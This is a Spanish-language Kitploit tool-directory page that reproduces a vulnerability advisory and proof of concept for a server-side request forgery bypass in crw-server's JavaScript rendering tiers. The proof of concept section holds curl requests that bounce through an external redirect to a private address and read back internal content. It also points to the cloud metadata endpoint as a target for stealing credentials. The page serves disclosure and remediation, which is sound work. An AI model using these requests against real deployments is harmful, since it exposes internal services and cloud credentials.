Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/squeeze440/crw-poc
Análisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de Penetración
GitHubsqueeze440/crw-poc

crw-PoC

PoC — SSRF mediante el bypass de la capa de renderizado JS del filtro de seguridad de URL en crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).

Ver Repositorio
hace 7 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

crw: aviso de seguridad

Estado del CVE: solicitado, pendiente de asignación. Este hallazgo se publica como GHSA-5jp3-339h-vxqw. Al asignarse el CVE, este repositorio se renombra CVE-YYYY-NNNNN-crw-PoC y este banner se reemplaza con el enlace del CVE.

InvestigadorDostxodjayev Abdullox (@squeeze440)
AvisoGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (Alto)
DebilidadCWE-918

Resumen

En crw-server, la lista de permitidos/denegados de SSRF (crw_core::url_safety) se aplica solo una vez, contra la url proporcionada por el llamador, antes de que la solicitud se despache a un renderizador; los niveles de renderizado JS basados en CDP (LightPanda — el renderizador JS predeterminado — y Chrome) luego dirigen la página objetivo mediante Page.navigate y siguen cada redirección posterior, navegación activada por JS y XHR/fetch dentro de la página enteramente dentro de la propia pila de red del navegador, sin ninguna llamada adicional a url_safety en ningún momento, lo que permite a un llamador autenticado (o, en un despliegue predeterminado sin clave, no autenticado) que establece renderJs:true pivotar el rastreador hacia el espacio de direcciones RFC1918/loopback/link-local mediante una única redirección abierta externa y leer de vuelta la respuesta del servicio interno en el cuerpo de la respuesta de la API.

Producto

fastCRW / crw — crw-server (API REST, también accesible de forma idéntica a través de la capa de herramientas MCP en proceso crw-mcp, que llama a la misma ruta de código crw_server::routes::mcp::call_tool).

Versión probada

Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, punta de main en el momento de la prueba), compilado y ejecutado mediante el propio docker-compose.yml --profile heavy del proyecto.

CVSS v3.1 estimado

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (Alto)

  • PR:N: el valor predeterminado de autoalojamiento incluido (config.docker.toml) no tiene sección [auth]/api_keys, coincidiendo con el valor predeterminado "abierto por diseño" ya documentado en GHSA-qq8c-fch4-cxq7. Un despliegue que sí configure claves de API degrada esto a PR:L (cualquier inquilino autenticado individual aún puede pivotar el motor compartido hacia la red interna en la que se ejecute) — el error no se mitiga añadiendo claves, solo se recondiciona.
  • I:N/A:N: el PoC demuestra la lectura de vuelta de una respuesta HTTP interna (confidencialidad). No se ejerció ni se afirma ninguna acción de escritura/cambio de estado contra un objetivo interno.
  • S:U: la divulgación está mediada enteramente a través del propio canal de respuesta de la API del componente vulnerable.

Detalles

Causa raíz: la ruta del renderizador CDP/navegador nunca llama a crw_core::url_safety después de la única comprobación realizada en la capa de rutas.

  • crates/crw-server/src/routes/scrape.rs:29-34 (idénticamente en crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — la única comprobación de SSRF en todo el ciclo de vida de la solicitud para una solicitud renderizada por JS: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) se ejecuta una vez contra la url literal del llamador, antes de que el renderizador sea siquiera invocado.
  • crates/crw-renderer/src/cdp.rs:2621-2631 — el futuro work de fetch_inner envía Page.navigate con la url sin procesar directamente al endpoint CDP (compartido tanto por los niveles chrome como lightpanda — ambos hablan CDP a través de esta misma función). Chrome/LightPanda luego realiza su propia resolución DNS y sigue cualquier redirección del lado del servidor, <meta http-equiv="refresh"> o cambio de location por JS internamente. No existe ninguna llamada a url_safety en ningún lugar de cdp.rs.
  • crates/crw-renderer/src/blocklist.rs:1-124 — la única lógica de intercepción Fetch.requestPaused por solicitud que se ejecuta durante un renderizado CDP (conectada en cdp.rs alrededor de las líneas 930-1002). Filtra hosts de anuncios/rastreadores y tipos de recursos bloqueados (imágenes, fuentes, etc.) solo por razones de ancho de banda/ruido — nunca comprueba el destino de una solicitud contra rangos privados/loopback/link-local.
  • crates/crw-crawl/src/single.rs:559-569 — el único lugar donde se inspecciona en absoluto el final_url posterior a la navegación. redirect_is_material() solo decide si adjuntar una cadena cosmética "redirected_to: <url>" a data.warnings (para señalar "obtuviste la página equivocada", según el comentario que hace referencia a northernair.ca) — nunca llama a url_safety::validate_safe_url* y nunca hace fallar la solicitud.
  • Contraste: crates/crw-renderer/src/http_only.rs:291 — el nivel HTTP simple (sin JS) envuelve correctamente su reqwest::Client en crw_core::url_safety::safe_redirect_policy(), que revalida (con resolución DNS) cada salto de redirección. Esta es exactamente la protección que falta en los niveles CDP. Confirmado dinámicamente: la misma solicitud PoC con renderJs:false se rechaza correctamente ("error following redirect", véase la captura de pantalla de referencia).

Prueba de concepto

Confirmado dinámicamente contra la propia pila docker-compose.yml --profile heavy del proyecto (crw + lightpanda + chrome, compilada desde el commit probado).

  1. Se levantó un sustituto de "servicio interno" en la misma red puente de Docker que crw/chrome/lightpanda (docker network: source_default), en la dirección privada 172.19.0.6 — un contenedor nginx simple que sirve una página con contenido realista de aspecto interno (título "Internal Ops Console", un valor con forma de token de sesión).
  2. Referencia — confirmar que el filtro funciona normalmente:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (captura de pantalla: evidence/ssrf_baseline_blocked.png)
  3. Omisión — misma redirección, nivel de renderizado JS solicitado:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    Resultado: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — el contenido del servidor interno se devuelve al llamador; la propia advertencia redirected_to de la herramienta muestra que sabe que siguió la solicitud hacia la dirección bloqueada y devuelve el contenido de todos modos. (captura de pantalla: evidence/ssrf_chrome_tier_bypass.png)
  4. Se confirmó que la omisión también se dispara en la cadena de respaldo predeterminada sin ningún renderizador fijado explícitamente ("renderJs":true solo — la forma ordinaria en que un llamador solicita renderizado JS): la escalera eligió lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") y devolvió el mismo contenido interno, demostrando que ambos niveles CDP (no solo chrome) comparten la brecha.

https://httpbin.org/redirect-to representa "cualquier URL alcanzable externamente que devuelva 302"; un atacante real alojaría esto en su propio dominio. 172.19.0.6 representa cualquier dirección en los rangos que url_safety está diseñado para bloquear (RFC1918, loopback, link-local/169.254.169.254 metadatos de nube, .internal) — la omisión ocurre antes de que se ejecute cualquier comprobación de rango (la ruta CDP nunca llama a url_safety en absoluto), por lo que no es específica de este único rango bloqueado. No había disponible un endpoint de metadatos de nube en vivo en este laboratorio local, por lo que ese objetivo específico no se ejerció directamente; es una extrapolación directa, trazada en el código, no una afirmación no probada.

Impacto

Cualquier llamador capaz de alcanzar /v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, sus equivalentes batch/v2, o las herramientas MCP equivalentes — con renderJs:true — puede usar el despliegue de crw objetivo como un proxy abierto hacia la red interna: leer respuestas de los servicios loopback del desplegador, servicios internos con direccionamiento RFC1918 (bases de datos, paneles de administración, APIs internas) y — en cualquier despliegue alojado en la nube — el endpoint de metadatos de nube de la instancia (169.254.169.254), recuperando potencialmente credenciales de IAM/instancia. En el valor predeterminado de autoalojamiento incluido (sin claves de API configuradas) esto no requiere autenticación alguna.

Debilidades

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-441: Proxy o intermediario no intencionado ('Confused Deputy')

Remediación

La bomba de intercepción Fetch.requestPaused ya conectada a los niveles CDP (crates/crw-renderer/src/cdp.rs, impulsada por Blocklist en blocklist.rs) es el punto de estrangulamiento natural: extiéndala (o añada una comprobación hermana invocada desde la misma bomba, para ambos backends chrome y lightpanda) para llamar a crw_core::url_safety::validate_safe_url contra la URL de cada solicitud interceptada — cubriendo la navegación inicial, cada salto de redirección, cada navegación impulsada por JS y cada carga de XHR/fetch/iframe en la misma página — y Fetch.failRequest cualquier cosa que resuelva a un host bloqueado, igualando lo que safe_redirect_policy() ya hace para el nivel http_only. Tenga en cuenta que esto significa que Fetch.enable/la intercepción ya no puede permanecer condicionalmente desactivada cuando la protección SSRF depende de que se ejecute. Como defensa en profundidad, convierta también la comprobación existente de final_url posterior a la navegación en crates/crw-crawl/src/single.rs:559-569 de una entrada cosmética en warnings a un fallo duro mediante url_safety::validate_safe_url_resolved, para capturar lo que se escape de la intercepción (p. ej., una primera respuesta que compita con la configuración de Fetch.enable).

Crédito

Dostxodjayev Abdullox

Canal de reporte

.github/SECURITY.md (renderizado en https://github.com/us/crw/security): GitHub Private Vulnerability Reporting es el canal preferido ("abra un reporte desde la pestaña Security de este repositorio"), con [email protected] como respaldo por correo electrónico. Confirmado genuinamente activo y abierto para este repositorio: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, y se observó un botón "Report a vulnerability" en vivo en https://github.com/us/crw/security (enlazando a https://github.com/us/crw/security/advisories/new). La declaración de alcance en esa página incluye explícitamente "El binario crw-server y todos los crates del workspace en este repositorio" y "El servidor MCP (crw-mcp)"; excluye "Navegadores headless de terceros (Chromium, Lightpanda) invocados por el renderizador" — este hallazgo trata sobre la validación faltante del propio crw en torno a la llamada de navegación CDP, no sobre un error en Chromium/Lightpanda en sí, por lo que está dentro del alcance.

Descargar herramienta